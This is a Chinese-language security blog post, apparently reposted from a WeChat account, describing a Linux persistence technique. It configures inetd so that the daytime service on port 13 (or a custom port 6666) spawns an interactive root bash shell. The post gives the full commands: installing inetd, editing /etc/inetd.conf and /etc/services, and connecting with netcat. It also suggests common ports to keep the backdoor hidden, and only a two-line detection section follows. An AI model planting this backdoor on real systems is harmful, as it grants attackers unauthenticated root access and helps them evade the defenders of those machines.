Tips +1
实现原理
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
操作步骤
inetd,也叫作“超级服务器”,就是监视一些网络请求的守护进程,其根据网络请求来调用相应的服务进程来处理连接请求。inetd.conf则是inetd的配置文件。inetd.conf文件告诉inetd监听哪些网络端口,为每个端口启动哪个服务。位置是/etc/inetd.conf
配置格式:[servicename] [socktype] [proto] [flags] [user] [server_path] [args]
在配置文件下写入以下内容。daytime stream tcp nowait root /bin/bash bash -i
daytime服务(13端口) 套接字类型 协议类型 不等待 用户组 提供服务的程序 daytime stream tcp nowait root /bin/bash bash -i
因为默认没装,我们需要先装下inetd
# apt-get install openbsd-inetd
#修改/etc/inetd.conf
$vim /etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
#开启inetd
$inetd
#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#可以修改成一些常见的端口,以实现隐藏
被控制端,配置好inetd监听daytime服务(13端口)
攻击端:nc ip 13 进行连接
如何排查
1、查看连接
2、查看是否存在inetd,因为默认没装。有的话存在配置文件是否异常
原文始发于微信公众号(贝雷帽SEC):Linux持久化—inetd服务后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论